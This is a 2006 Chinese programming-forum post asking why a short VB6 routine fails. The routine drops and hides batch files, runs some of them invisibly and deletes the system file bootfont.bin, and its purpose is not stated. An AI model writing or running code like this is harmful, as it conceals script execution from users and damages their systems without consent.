标题:各位看看代码哪出错了
只看楼主
youxi2005
Rank: 1
等 级:新手上路
帖 子:6
专家分:0
注 册:2006-2-22
 问题点数:0 回复次数:0 
各位看看代码哪出错了
Private Sub Command4_Click() '自动
Const SPI_SETDESKWALLPAPER = 20
Const SPIF_UPDATEINIFILE = &H1
Const SPIF_SENDWININICHANGE = &H2
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Left(Drive1.Drive, 1) + ":\复制到D盘\.bmp", SPIF_UPDATEINIFILE + SPIF_SENDWININICHANGE)
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFolder Left(Drive1.Drive, 1) + ":\复制到D盘", "d:\"
Shell Left(Drive1.Drive, 1) + ":\复制到D盘\125.bat", vbHide
FileCopy Left(Drive1.Drive, 1) + ":\复制到D盘\9222.bat", "c:\"
SetAttr "d:\123.bat", vbReadOnly + vbHidden
SetAttr "c:\9222.bat", vbReadOnly + vbHidden
Shell Left(Drive1.Drive, 1) + ":\复制到D盘\\cov.bat", vbNormalFocus
Kill "c:\bootfont.bin"
End Sub
搜索更多相关主题的帖子: 代码 
2006-02-23 10:30



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-46741-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.177907 second(s), 7 queries.
Copyright©2004-2025, BCCN.NET, All Rights Reserved